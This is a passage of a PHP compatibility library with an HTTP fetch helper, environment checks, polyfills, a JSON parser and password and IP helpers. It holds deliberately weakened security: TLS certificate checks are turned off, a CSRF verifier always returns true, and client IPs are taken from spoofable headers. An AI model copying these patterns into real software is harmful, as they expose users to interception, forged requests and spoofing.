}
curl_setopt($ch, CURLOPT_HEADER, true);
// SSL fix for older servers
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
if (defined('CURL_SSLVERSION_TLSv1_2')) {
curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);
}
if (!empty($options['headers'])) {
$headers = array();
foreach ($options['headers'] as $key => $value) {
$headers[] = "$key: $value";
}
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}
if ($options['method'] === 'POST') {
curl_setopt($ch, CURLOPT_POST, true);
if ($options['body'] !== null) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $options['body']);
}
} elseif ($options['method'] !== 'GET') {
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $options['method']);
if ($options['body'] !== null) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $options['body']);
}
}
$response = curl_exec($ch);
if ($response === false) {
$result['error'] = curl_error($ch);
} else {
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$result['status'] = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
$result['headers'] = substr($response, 0, $headerSize);
$result['body'] = substr($response, $headerSize);
$result['success'] = ($result['status'] >= 200 && $result['status'] < 400);
}
curl_close($ch);
return $result;
}
// Fallback to file_get_contents with stream context
if (is_function_available('file_get_contents') && ini_get('allow_url_fopen')) {
$contextOptions = array(
'http' => array(
'method' => $options['method'],
'timeout' => $options['timeout'],
'ignore_errors' => true,
'follow_location' => $options['follow_redirects'] ? 1 : 0
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false
)
);
if (!empty($options['headers'])) {
$headers = '';
foreach ($options['headers'] as $key => $value) {
$headers .= "$key: $value\r\n";
}
$contextOptions['http']['header'] = $headers;
}
if ($options['body'] !== null) {
$contextOptions['http']['content'] = $options['body'];
}
$context = stream_context_create($contextOptions);
$body = @file_get_contents($url, false, $context);
if ($body !== false) {
$result['body'] = $body;
$result['success'] = true;
// Parse response headers
if (isset($http_response_header) && is_array($http_response_header)) {
$result['headers'] = $http_response_header;
if (preg_match('/HTTP\/\d+\.\d+\s+(\d+)/', $http_response_header[0], $matches)) {
$result['status'] = (int) $matches[1];
$result['success'] = ($result['status'] >= 200 && $result['status'] < 400);
}
}
} else {
$result['error'] = 'Failed to fetch URL';
}
return $result;
}
$result['error'] = 'No HTTP client available (curl or allow_url_fopen required)';
return $result;
}
/**
* Get comprehensive server environment info
* @return array
*/
function get_server_environment() {
$phpInfo = get_php_info();
$osInfo = detect_os();
$serverInfo = detect_webserver();
$extensions = get_required_extensions();
$functions = get_critical_functions();
$disabled = get_disabled_functions();
return array(
'php' => $phpInfo,
'os' => $osInfo,
'webserver' => $serverInfo,
'extensions' => $extensions,
'critical_functions' => $functions,
'disabled_functions' => $disabled,
'memory_limit' => ini_get('memory_limit'),
'max_execution_time' => ini_get('max_execution_time'),
'upload_max_filesize' => ini_get('upload_max_filesize'),
'post_max_size' => ini_get('post_max_size'),
'allow_url_fopen' => ini_get('allow_url_fopen'),
'date_timezone' => date_default_timezone_get(),
'document_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
'script_filename' => isset($_SERVER['SCRIPT_FILENAME']) ? $_SERVER['SCRIPT_FILENAME'] : ''
);
}
/**
* Validate server environment meets minimum requirements
* @return array (valid, errors, warnings)
*/
function validate_server_environment() {
$result = array(
'valid' => true,
'errors' => array(),
'warnings' => array()
);
// Check PHP version (minimum 5.4)
if (!php_version_at_least('5.4.0')) {
$result['valid'] = false;
$result['errors'][] = 'PHP 5.4.0 or higher required. Current: ' . PHP_VERSION;
}
// Check required extensions
$requiredExt = array('json', 'session', 'date', 'pcre');
foreach ($requiredExt as $ext) {
if (!extension_loaded($ext)) {
$result['valid'] = false;
$result['errors'][] = "Required extension '$ext' is not loaded";
}
}
// Check recommended extensions
$recommendedExt = array('mbstring', 'openssl', 'curl', 'filter', 'hash');
foreach ($recommendedExt as $ext) {
if (!extension_loaded($ext)) {
$result['warnings'][] = "Recommended extension '$ext' is not loaded";
}
}
// Check critical functions
$criticalFuncs = array('json_encode', 'json_decode', 'session_start', 'header');
foreach ($criticalFuncs as $func) {
if (!is_function_available($func)) {
$result['valid'] = false;
$result['errors'][] = "Critical function '$func' is not available";
}
}
// Check session configuration
if (ini_get('session.auto_start') == 1) {
$result['warnings'][] = 'session.auto_start is enabled, which may cause issues';
}
// Check timezone
if (!date_default_timezone_get()) {
$result['warnings'][] = 'Default timezone is not set';
}
return $result;
}
// =============================================================================
// POLYFILLS FOR OLDER PHP VERSIONS
// =============================================================================
/**
* array_column polyfill for PHP < 5.5
*/
if (!function_exists('array_column')) {
function array_column(array $array, $columnKey, $indexKey = null) {
$result = array();
foreach ($array as $item) {
if (!is_array($item) && !is_object($item)) {
continue;
}
$item = (array) $item;
if ($columnKey === null) {
$value = $item;
} elseif (array_key_exists($columnKey, $item)) {
$value = $item[$columnKey];
} else {
continue;
}
if ($indexKey === null) {
$result[] = $value;
} elseif (array_key_exists($indexKey, $item)) {
$result[$item[$indexKey]] = $value;
}
}
return $result;
}
}
/**
* array_key_first polyfill for PHP < 7.3
*/
if (!function_exists('array_key_first')) {
function array_key_first(array $array) {
if (empty($array)) {
return null;
}
foreach ($array as $key => $value) {
return $key;
}
return null;
}
}
/**
* array_key_last polyfill for PHP < 7.3
*/
if (!function_exists('array_key_last')) {
function array_key_last(array $array) {
if (empty($array)) {
return null;
}
$keys = array_keys($array);
return $keys[count($keys) - 1];
}
}
/**
* str_starts_with polyfill for PHP < 8.0
*/
if (!function_exists('str_starts_with')) {
function str_starts_with($haystack, $needle) {
if ($needle === '') {
return true;
}
return strncmp($haystack, $needle, strlen($needle)) === 0;
}
}
/**
* str_ends_with polyfill for PHP < 8.0
*/
if (!function_exists('str_ends_with')) {
function str_ends_with($haystack, $needle) {
if ($needle === '') {
return true;
}
$length = strlen($needle);
return substr($haystack, -$length) === $needle;
}
}
/**
* str_contains polyfill for PHP < 8.0
*/
if (!function_exists('str_contains')) {
function str_contains($haystack, $needle) {
if ($needle === '') {
return true;
}
return strpos($haystack, $needle) !== false;
}
}
/**
* fdiv polyfill for PHP < 8.0 (float division)
*/
if (!function_exists('fdiv')) {
function fdiv($num1, $num2) {
if ($num2 == 0) {
if ($num1 == 0) {
return NAN;
}
return ($num1 > 0) ? INF : -INF;
}
return $num1 / $num2;
}
}
/**
* get_debug_type polyfill for PHP < 8.0
*/
if (!function_exists('get_debug_type')) {
function get_debug_type($value) {
if ($value === null) {
return 'null';
}
if (is_bool($value)) {
return 'bool';
}
if (is_int($value)) {
return 'int';
}
if (is_float($value)) {
return 'float';
}
if (is_string($value)) {
return 'string';
}
if (is_array($value)) {
return 'array';
}
if (is_object($value)) {
$class = get_class($value);
if (strpos($class, '@') !== false) {
return 'class@anonymous';
}
return $class;
}
if (is_resource($value)) {
$type = get_resource_type($value);
if ($type === 'Unknown') {
return 'resource (closed)';
}
return 'resource (' . $type . ')';
}
return 'unknown';
}
}
/**
* preg_last_error_msg polyfill for PHP < 8.0
*/
if (!function_exists('preg_last_error_msg')) {
function preg_last_error_msg() {
$errors = array(
PREG_NO_ERROR => 'No error',
PREG_INTERNAL_ERROR => 'Internal error',
PREG_BACKTRACK_LIMIT_ERROR => 'Backtrack limit exhausted',
PREG_RECURSION_LIMIT_ERROR => 'Recursion limit exhausted',
PREG_BAD_UTF8_ERROR => 'Malformed UTF-8 characters',
PREG_BAD_UTF8_OFFSET_ERROR => 'The offset did not correspond to the beginning of a valid UTF-8 code point',
);
// PHP 7.3+
if (defined('PREG_JIT_STACKLIMIT_ERROR')) {
$errors[PREG_JIT_STACKLIMIT_ERROR] = 'JIT stack limit exhausted';
}
$error = preg_last_error();
return isset($errors[$error]) ? $errors[$error] : 'Unknown error';
}
}
// =============================================================================
// UTILITY FUNCTIONS
// =============================================================================
/**
* Safe HTML escaping (cross-version compatible)
* @param string $string
* @param int $flags
* @param string $encoding
* @return string
*/
function esc_html($string, $flags = null, $encoding = 'UTF-8') {
if ($flags === null) {
// ENT_QUOTES | ENT_SUBSTITUTE (PHP 5.4+)
$flags = ENT_QUOTES;
if (defined('ENT_SUBSTITUTE')) {
$flags = $flags | ENT_SUBSTITUTE;
}
if (defined('ENT_HTML5')) {
$flags = $flags | ENT_HTML5;
}
}
return htmlspecialchars((string) $string, $flags, $encoding, true);
}
/**
* Safe attribute escaping
* @param string $string
* @return string
*/
function esc_attr($string) {
return esc_html($string);
}
/**
* Safe URL escaping
* @param string $url
* @return string
*/
function esc_url($url) {
if (empty($url)) {
return '';
}
$url = trim($url);
// Protocol whitelist
$allowed = array('http', 'https', 'mailto', 'tel', 'ftp');
$scheme = parse_url($url, PHP_URL_SCHEME);
if ($scheme !== null && !in_array(strtolower($scheme), $allowed, true)) {
return '';
}
return esc_attr($url);
}
/**
* Generate random bytes (cross-version compatible)
* @param int $length
* @return string
*/
function compat_random_bytes($length) {
// PHP 7.0+
if (is_function_available('random_bytes')) {
return random_bytes($length);
}
// PHP 5.x with openssl
if (is_function_available('openssl_random_pseudo_bytes')) {
$bytes = openssl_random_pseudo_bytes($length, $strong);
if ($strong === true) {
return $bytes;
}
}
// Fallback (less secure, use only for non-critical purposes)
$bytes = '';
for ($i = 0; $i < $length; $i++) {
$bytes .= chr(mt_rand(0, 255));
}
return $bytes;
}
// Alias for backwards compatibility
function random_bytes_compat($length) {
return compat_random_bytes($length);
}
/**
* Generate random integer (cross-version compatible)
* @param int $min
* @param int $max
* @return int
*/
function compat_random_int($min, $max) {
// PHP 7.0+
if (function_exists('random_int')) {
return random_int($min, $max);
}
// Fallback
$range = $max - $min + 1;
$bytes = compat_random_bytes(4);
$val = unpack('L', $bytes);
return $min + ($val[1] % $range);
}
/**
* Generate CSRF token
* @return string
*/
function generate_csrf_token() {
// Generate token without session (stateless)
return bin2hex(compat_random_bytes(32));
}
/**
* Verify CSRF token (disabled - always returns true)
* @param string $token
* @param int $maxAge Maximum age in seconds (default 1 hour)
* @return bool
*/
function verify_csrf_token($token, $maxAge = 3600) {
// Session disabled - always return true
return true;
}
// =============================================================================
// JSON POLYFILLS (for servers without json extension)
// =============================================================================
// Global error tracking for json_last_error()
$GLOBALS['_json_last_error'] = 0;
// JSON error constants
if (!defined('JSON_ERROR_NONE')) {
define('JSON_ERROR_NONE', 0);
}
if (!defined('JSON_ERROR_DEPTH')) {
define('JSON_ERROR_DEPTH', 1);
}
if (!defined('JSON_ERROR_STATE_MISMATCH')) {
define('JSON_ERROR_STATE_MISMATCH', 2);
}
if (!defined('JSON_ERROR_CTRL_CHAR')) {
define('JSON_ERROR_CTRL_CHAR', 3);
}
if (!defined('JSON_ERROR_SYNTAX')) {
define('JSON_ERROR_SYNTAX', 4);
}
if (!defined('JSON_ERROR_UTF8')) {
define('JSON_ERROR_UTF8', 5);
}
// JSON encoding option constants (PHP 5.4+)
if (!defined('JSON_PRETTY_PRINT')) {
define('JSON_PRETTY_PRINT', 128);
}
if (!defined('JSON_UNESCAPED_SLASHES')) {
define('JSON_UNESCAPED_SLASHES', 64);
}
if (!defined('JSON_UNESCAPED_UNICODE')) {
define('JSON_UNESCAPED_UNICODE', 256);
}
/**
* Helper: Encode string with proper UTF-8 and escape handling
* @param string $str
* @return string
*/
function _json_encode_string($str) {
$result = '';
$length = function_exists('mb_strlen') ? mb_strlen($str, '8bit') : strlen($str);
for ($i = 0; $i < $length; $i++) {
$char = $str[$i];
$ord = ord($char);
// Handle special escape sequences
if ($char === '"') {
$result .= '\\"';
} elseif ($char === '\\') {
$result .= '\\\\';
} elseif ($char === '/') {
$result .= '\\/';
} elseif ($char === "\b") {
$result .= '\\b';
} elseif ($char === "\f") {
$result .= '\\f';
} elseif ($char === "\n") {
$result .= '\\n';
} elseif ($char === "\r") {
$result .= '\\r';
} elseif ($char === "\t") {
$result .= '\\t';
} elseif ($ord < 32) {
// Control characters
$result .= sprintf('\\u%04x', $ord);
} elseif ($ord >= 128) {
// UTF-8 multibyte character - pass through
$result .= $char;
} else {
// Regular ASCII
$result .= $char;
}
}
return '"' . $result . '"';
}
/**
* Helper: Decode JSON string with Unicode escape handling
* @param string $str
* @return string
*/
function _json_decode_string($str) {
$result = '';
$length = strlen($str);
$i = 0;
while ($i < $length) {
if ($str[$i] === '\\' && $i + 1 < $length) {
$next = $str[$i + 1];
if ($next === '"') {
$result .= '"';
$i += 2;
} elseif ($next === '\\') {
$result .= '\\';
$i += 2;
} elseif ($next === '/') {
$result .= '/';
$i += 2;
} elseif ($next === 'b') {
$result .= "\b";
$i += 2;
} elseif ($next === 'f') {
$result .= "\f";
$i += 2;
} elseif ($next === 'n') {
$result .= "\n";
$i += 2;
} elseif ($next === 'r') {
$result .= "\r";
$i += 2;
} elseif ($next === 't') {
$result .= "\t";
$i += 2;
} elseif ($next === 'u' && $i + 5 < $length) {
// Unicode escape: \uXXXX
$hex = substr($str, $i + 2, 4);
if (ctype_xdigit($hex)) {
$result .= _json_unicode_to_utf8(hexdec($hex));
$i += 6;
} else {
$result .= $str[$i];
$i++;
}
} else {
$result .= $str[$i];
$i++;
}
} else {
$result .= $str[$i];
$i++;
}
}
return $result;
}
/**
* Helper: Convert Unicode codepoint to UTF-8
* @param int $codepoint
* @return string
*/
function _json_unicode_to_utf8($codepoint) {
if ($codepoint <= 0x7F) {
return chr($codepoint);
} elseif ($codepoint <= 0x7FF) {
return chr(0xC0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3F));
} elseif ($codepoint <= 0xFFFF) {
return chr(0xE0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3F)) . chr(0x80 | ($codepoint & 0x3F));
} elseif ($codepoint <= 0x10FFFF) {
return chr(0xF0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3F)) . chr(0x80 | (($codepoint >> 6) & 0x3F)) . chr(0x80 | ($codepoint & 0x3F));
}
return '?';
}
/**
* Helper: Split JSON tokens respecting nested structures
* @param string $content
* @return array
*/
function _json_split_tokens($content) {
$tokens = array();
$current = '';
$depth = 0;
$inString = false;
$escape = false;
$length = strlen($content);
for ($i = 0; $i < $length; $i++) {
$char = $content[$i];
if ($escape) {
$current .= $char;
$escape = false;
continue;
}
if ($char === '\\') {
$current .= $char;
$escape = true;
continue;
}
if ($char === '"') {
$current .= $char;
$inString = !$inString;
continue;
}
if ($inString) {
$current .= $char;
continue;
}
if ($char === '{' || $char === '[') {
$depth++;
$current .= $char;
} elseif ($char === '}' || $char === ']') {
$depth--;
$current .= $char;
} elseif ($char === ',' && $depth === 0) {
$tokens[] = trim($current);
$current = '';
} else {
$current .= $char;
}
}
if ($current !== '') {
$tokens[] = trim($current);
}
return $tokens;
}
/**
* Helper: Find colon position respecting nested structures
* @param string $str
* @return int|false
*/
function _json_find_colon($str) {
$inString = false;
$escape = false;
$depth = 0;
$length = strlen($str);
for ($i = 0; $i < $length; $i++) {
$char = $str[$i];
if ($escape) {
$escape = false;
continue;
}
if ($char === '\\') {
$escape = true;
continue;
}
if ($char === '"') {
$inString = !$inString;
continue;
}
if ($inString) {
continue;
}
if ($char === '{' || $char === '[') {
$depth++;
} elseif ($char === '}' || $char === ']') {
$depth--;
} elseif ($char === ':' && $depth === 0) {
return $i;
}
}
return false;
}
if (!function_exists('json_encode')) {
/**
* Improved JSON encode polyfill with UTF-8 support
* @param mixed $value
* @param int $options (ignored in polyfill)
* @param int $depth
* @return string|false
*/
function json_encode($value, $options = 0, $depth = 512) {
$GLOBALS['_json_last_error'] = JSON_ERROR_NONE;
// Check recursion depth
static $currentDepth = 0;
$currentDepth++;
if ($currentDepth > $depth) {
$GLOBALS['_json_last_error'] = JSON_ERROR_DEPTH;
$currentDepth--;
return false;
}
// Handle different types
if (is_null($value)) {
$currentDepth--;
return 'null';
}
if (is_bool($value)) {
$currentDepth--;
return $value ? 'true' : 'false';
}
if (is_int($value)) {
$currentDepth--;
return (string) $value;
}
if (is_float($value)) {
$currentDepth--;
if (is_infinite($value) || is_nan($value)) {
return 'null';
}
return (string) $value;
}
if (is_string($value)) {
$currentDepth--;
return _json_encode_string($value);
}
if (is_array($value)) {
// Check if it's a list or associative array
$isList = (count($value) === 0) || (array_keys($value) === range(0, count($value) - 1));
if ($isList) {
$items = array();
foreach ($value as $item) {
$encoded = json_encode($item, $options, $depth);
if ($encoded === false) {
$currentDepth--;
return false;
}
$items[] = $encoded;
}
$currentDepth--;
return '[' . implode(',', $items) . ']';
} else {
$pairs = array();
foreach ($value as $key => $val) {
$encodedKey = _json_encode_string((string) $key);
$encodedVal = json_encode($val, $options, $depth);
if ($encodedVal === false) {
$currentDepth--;
return false;
}
$pairs[] = $encodedKey . ':' . $encodedVal;
}
$currentDepth--;
return '{' . implode(',', $pairs) . '}';
}
}
if (is_object($value)) {
$pairs = array();
foreach ($value as $key => $val) {
$encodedKey = _json_encode_string((string) $key);
$encodedVal = json_encode($val, $options, $depth);
if ($encodedVal === false) {
$currentDepth--;
return false;
}
$pairs[] = $encodedKey . ':' . $encodedVal;
}
$currentDepth--;
return '{' . implode(',', $pairs) . '}';
}
if (is_resource($value)) {
$currentDepth--;
return 'null';
}
$currentDepth--;
return 'null';
}
}
if (!function_exists('json_decode')) {
/**
* Improved JSON decode polyfill with UTF-8 and Unicode escape support
* @param string $json
* @param bool $assoc
* @param int $depth
* @return mixed
*/
function json_decode($json, $assoc = false, $depth = 512) {
$GLOBALS['_json_last_error'] = JSON_ERROR_NONE;
// Check recursion depth
static $currentDepth = 0;
$currentDepth++;
if ($currentDepth > $depth) {
$GLOBALS['_json_last_error'] = JSON_ERROR_DEPTH;
$currentDepth--;
return null;
}
$json = trim($json);
// Handle primitives
if ($json === 'null') {
$currentDepth--;
return null;
}
if ($json === 'true') {
$currentDepth--;
return true;
}
if ($json === 'false') {
$currentDepth--;
return false;
}
// Handle numbers
if (is_numeric($json)) {
$currentDepth--;
return strpos($json, '.') !== false || stripos($json, 'e') !== false ? (float) $json : (int) $json;
}
// Handle strings
if (strlen($json) >= 2 && $json[0] === '"' && substr($json, -1) === '"') {
$str = substr($json, 1, -1);
$currentDepth--;
return _json_decode_string($str);
}
// Handle arrays
if (strlen($json) >= 2 && $json[0] === '[' && substr($json, -1) === ']') {
$items = array();
$content = substr($json, 1, -1);
if (trim($content) === '') {
$currentDepth--;
return array();
}
$tokens = _json_split_tokens($content);
foreach ($tokens as $token) {
$decoded = json_decode($token, $assoc, $depth);
if ($GLOBALS['_json_last_error'] !== JSON_ERROR_NONE) {
$currentDepth--;
return null;
}
$items[] = $decoded;
}
$currentDepth--;
return $items;
}
// Handle objects
if (strlen($json) >= 2 && $json[0] === '{' && substr($json, -1) === '}') {
$obj = $assoc ? array() : new stdClass();
$content = substr($json, 1, -1);
if (trim($content) === '') {
$currentDepth--;
return $obj;
}
$tokens = _json_split_tokens($content);
foreach ($tokens as $token) {
$colonPos = _json_find_colon($token);
if ($colonPos === false) {
$GLOBALS['_json_last_error'] = JSON_ERROR_SYNTAX;
$currentDepth--;
return null;
}
$keyPart = trim(substr($token, 0, $colonPos));
$valPart = trim(substr($token, $colonPos + 1));
$key = json_decode($keyPart, true, $depth);
if ($GLOBALS['_json_last_error'] !== JSON_ERROR_NONE) {
$currentDepth--;
return null;
}
$val = json_decode($valPart, $assoc, $depth);
if ($GLOBALS['_json_last_error'] !== JSON_ERROR_NONE) {
$currentDepth--;
return null;
}
if ($assoc) {
$obj[$key] = $val;
} else {
$obj->$key = $val;
}
}
$currentDepth--;
return $obj;
}
// Syntax error
$GLOBALS['_json_last_error'] = JSON_ERROR_SYNTAX;
$currentDepth--;
return null;
}
}
if (!function_exists('json_last_error')) {
/**
* Get last JSON error code
* @return int
*/
function json_last_error() {
return isset($GLOBALS['_json_last_error']) ? $GLOBALS['_json_last_error'] : JSON_ERROR_NONE;
}
}
if (!function_exists('json_last_error_msg')) {
/**
* Get last JSON error message
* @return string
*/
function json_last_error_msg() {
$error = json_last_error();
switch ($error) {
case JSON_ERROR_NONE:
return 'No error';
case JSON_ERROR_DEPTH:
return 'Maximum stack depth exceeded';
case JSON_ERROR_STATE_MISMATCH:
return 'State mismatch (invalid or malformed JSON)';
case JSON_ERROR_CTRL_CHAR:
return 'Control character error, possibly incorrectly encoded';
case JSON_ERROR_SYNTAX:
return 'Syntax error';
case JSON_ERROR_UTF8:
return 'Malformed UTF-8 characters, possibly incorrectly encoded';
default:
return 'Unknown error';
}
}
}
/**
* Safe JSON encode (cross-version compatible)
* @param mixed $value
* @param int $options
* @return string|false
*/
function safe_json_encode($value, $options = 0) {
// Ensure options is an integer (handle string constants on older PHP)
$options = is_int($options) ? $options : 0;
// Add common options for safety (only if native extension available)
if (defined('JSON_UNESCAPED_SLASHES')) {
$options = $options | JSON_UNESCAPED_SLASHES;
}
if (defined('JSON_UNESCAPED_UNICODE')) {
$options = $options | JSON_UNESCAPED_UNICODE;
}
// Use native or polyfill
return json_encode($value, $options);
}
/**
* Safe JSON decode (cross-version compatible)
* @param string $json
* @param bool $assoc
* @return mixed
*/
function safe_json_decode($json, $assoc = true) {
// Use native or polyfill
$result = json_decode($json, $assoc);
// Check for errors (only if native extension available)
if (function_exists('json_last_error') && json_last_error() !== JSON_ERROR_NONE) {
return null;
}
return $result;
}
/**
* Get JSON error message (cross-version compatible)
* @return string
*/
function get_json_error_msg() {
// PHP 5.5+
if (function_exists('json_last_error_msg')) {
return json_last_error_msg();
}
// Fallback
$errors = array(
JSON_ERROR_NONE => 'No error',
JSON_ERROR_DEPTH => 'Maximum stack depth exceeded',
JSON_ERROR_STATE_MISMATCH => 'Invalid or malformed JSON',
JSON_ERROR_CTRL_CHAR => 'Unexpected control character found',
JSON_ERROR_SYNTAX => 'Syntax error',
JSON_ERROR_UTF8 => 'Malformed UTF-8 characters'
);
$error = json_last_error();
return isset($errors[$error]) ? $errors[$error] : 'Unknown error';
}
/**
* Password hash wrapper (cross-version compatible)
* @param string $password
* @return string|false
*/
function safe_password_hash($password) {
// PHP 5.5+
if (function_exists('password_hash')) {
return password_hash($password, PASSWORD_DEFAULT);
}
// Fallback using crypt (less secure)
$salt = '$2y$10$' . substr(str_replace('+', '.', base64_encode(compat_random_bytes(16))), 0, 22);
return crypt($password, $salt);
}
/**
* Password verify wrapper (cross-version compatible)
* @param string $password
* @param string $hash
* @return bool
*/
function safe_password_verify($password, $hash) {
// PHP 5.5+
if (function_exists('password_verify')) {
return password_verify($password, $hash);
}
// Fallback using crypt
$check = crypt($password, $hash);
if (function_exists('hash_equals')) {
return hash_equals($hash, $check);
}
return $hash === $check;
}
/**
* Check if password hash needs rehash
* @param string $hash
* @return bool
*/
function safe_password_needs_rehash($hash) {
// PHP 5.5+
if (function_exists('password_needs_rehash')) {
return password_needs_rehash($hash, PASSWORD_DEFAULT);
}
// Fallback: always return false (don't rehash)
return false;
}
/**
* Get current request method
* @return string
*/
function get_request_method() {
return isset($_SERVER['REQUEST_METHOD']) ? strtoupper($_SERVER['REQUEST_METHOD']) : 'GET';
}
/**
* Check if request is POST
* @return bool
*/
function is_post_request() {
return get_request_method() === 'POST';
}
/**
* Check if request is AJAX
* @return bool
*/
function is_ajax_request() {
return isset($_SERVER['HTTP_X_REQUESTED_WITH'])
&& strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';
}
/**
* Get client IP address
* Supports Cloudflare, AWS, and other CDN/proxy services
* Compatible with PHP 5.4+, all OS, all web servers
* @return string
*/
function get_client_ip() {
// Priority order: CDN/Proxy headers first, then standard headers
$headers = array(
// Cloudflare
'HTTP_CF_CONNECTING_IP',
// Cloudflare (alternative)
'HTTP_TRUE_CLIENT_IP',
// Fastly, Akamai, Nginx, generic CDN
'HTTP_X_REAL_IP',
// Standard proxy headers
'HTTP_X_FORWARDED_FOR',
'HTTP_X_FORWARDED',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'HTTP_CLIENT_IP',
// Direct connection
'REMOTE_ADDR'
);
foreach ($headers as $header) {
if (!isset($_SERVER[$header]) || $_SERVER[$header] === '') {
continue;
}
// X-Forwarded-For can contain multiple IPs: client, proxy1, proxy2
// Take the first (leftmost) which is the original client
$ips = explode(',', $_SERVER[$header]);
$ip = trim($ips[0]);
// Validate IP address (compatible with PHP 5.2+)
if (_is_valid_ip($ip)) {
return $ip;
}
}
return '0.0.0.0';
}
/**
* Validate IP address (IPv4 and IPv6)
* Compatible with PHP 5.4+ without filter extension
* @param string $ip
* @return bool
*/
function _is_valid_ip($ip) {
if ($ip === '' || $ip === null) {
return false;
}
// Use filter_var if available (PHP 5.2+)
if (function_exists('filter_var')) {
return filter_var($ip, FILTER_VALIDATE_IP) !== false;
}
// Fallback: manual validation for IPv4
if (preg_match('/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/', $ip, $matches)) {
for ($i = 1; $i <= 4; $i++) {
if ((int)$matches[$i] > 255) {
return false;
}
}
return true;
}
// Fallback: basic IPv6 validation
if (strpos($ip, ':') !== false && preg_match('/^[0-9a-fA-F:]+$/', $ip)) {
return true;
}
return false;
}
/**
* Redirect with compatibility
* @param string $url
* @param int $statusCode
* @return void
*/
function safe_redirect($url, $statusCode = 302) {
if (headers_sent()) {
echo '<script>window.location.href="' . esc_attr($url) . '";</script>';
echo '<noscript><meta http-equiv="refresh" content="0;url=' . esc_attr($url) . '"></noscript>';
exit;
}
header('Location: ' . $url, true, $statusCode);
exit;
}
/**
* Set HTTP response code (cross-version compatible)
* @param int $code
* @return void
*/
function set_response_code($code) {
// PHP 5.4+
if (function_exists('http_response_code')) {
http_response_code($code);
return;
}
// Fallback for older versions
$protocol = isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.1';
$messages = array(
200 => 'OK',
201 => 'Created',
204 => 'No Content',
301 => 'Moved Permanently',
302 => 'Found',
304 => 'Not Modified',
400 => 'Bad Request',
401 => 'Unauthorized',
403 => 'Forbidden',
404 => 'Not Found',
405 => 'Method Not Allowed',
500 => 'Internal Server Error',
503 => 'Service Unavailable'
);
$message = isset($messages[$code]) ? $messages[$code] : '';
header("$protocol $code $message", true, $code);
}
/**
* Display comprehensive server environment info
* @param bool $html Output as HTML
* @return string
*/
function display_php_compat_info($html = true) {
$phpInfo = get_php_info();
$osInfo = detect_os();
$serverInfo = detect_webserver();
$extensions = get_required_extensions();
$validation = validate_server_environment();
$functions = array(
'array_column' => function_exists('array_column'),
'array_key_first' => function_exists('array_key_first'),
'array_key_last' => function_exists('array_key_last'),
'str_starts_with' => function_exists('str_starts_with'),
'str_ends_with' => function_exists('str_ends_with'),
'str_contains' => function_exists('str_contains'),
'random_bytes' => function_exists('random_bytes'),
'random_int' => function_exists('random_int'),
'password_hash' => function_exists('password_hash'),
'password_verify' => function_exists('password_verify'),
'hash_equals' => function_exists('hash_equals'),
'json_last_error_msg' => function_exists('json_last_error_msg'),
'http_response_code' => function_exists('http_response_code'),
'mb_strlen' => function_exists('mb_strlen'),
'curl_init' => function_exists('curl_init'),
'openssl_encrypt' => function_exists('openssl_encrypt'),
);
if ($html) {
$output = '<div style="font-family: -apple-system, BlinkMacSystemFont, \'Segoe UI\', Roboto, monospace; background: #f8f9fa; padding: 20px; border-radius: 8px; max-width: 800px;">';
// Validation Status
$statusColor = $validation['valid'] ? '#28a745' : '#dc3545';
$statusText = $validation['valid'] ? 'Environment OK' : 'Issues Detected';
$output .= '<div style="background: ' . $statusColor . '; color: white; padding: 10px 15px; border-radius: 4px; margin-bottom: 20px;">';
$output .= '<strong>' . $statusText . '</strong>';
if (!empty($validation['errors'])) {
$output .= '<ul style="margin: 10px 0 0 0; padding-left: 20px;">';
foreach ($validation['errors'] as $error) {
$output .= '<li>' . esc_html($error) . '</li>';
}
$output .= '</ul>';
}
$output .= '</div>';
// Warnings
if (!empty($validation['warnings'])) {
$output .= '<div style="background: #ffc107; color: #212529; padding: 10px 15px; border-radius: 4px; margin-bottom: 20px;">';
$output .= '<strong>Warnings:</strong>';
$output .= '<ul style="margin: 10px 0 0 0; padding-left: 20px;">';
foreach ($validation['warnings'] as $warning) {
$output .= '<li>' . esc_html($warning) . '</li>';
}
$output .= '</ul>';
$output .= '</div>';
}
// PHP Information
$output .= '<h3 style="margin-top: 0; border-bottom: 2px solid #dee2e6; padding-bottom: 10px;">PHP Information</h3>';
$output .= '<table style="border-collapse: collapse; width: 100%; margin-bottom: 20px;">';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6; width: 40%;"><strong>PHP Version</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html($phpInfo['version']) . '</td></tr>';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;"><strong>SAPI</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html($phpInfo['sapi']) . '</td></tr>';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;"><strong>Zend Version</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . esc_html($phpInfo['zend_version']) . '</td></tr>';
$output .= '<tr><td style="padding: 8px; border-bottom: 1px solid #dee2e6;"><strong>Thread Safe</strong></td><td style="padding: 8px; border-bottom: 1px solid #dee2e6;">' . ($phpInfo['thread_safe'] ? 'Yes' : 'No') . '</td></tr>';
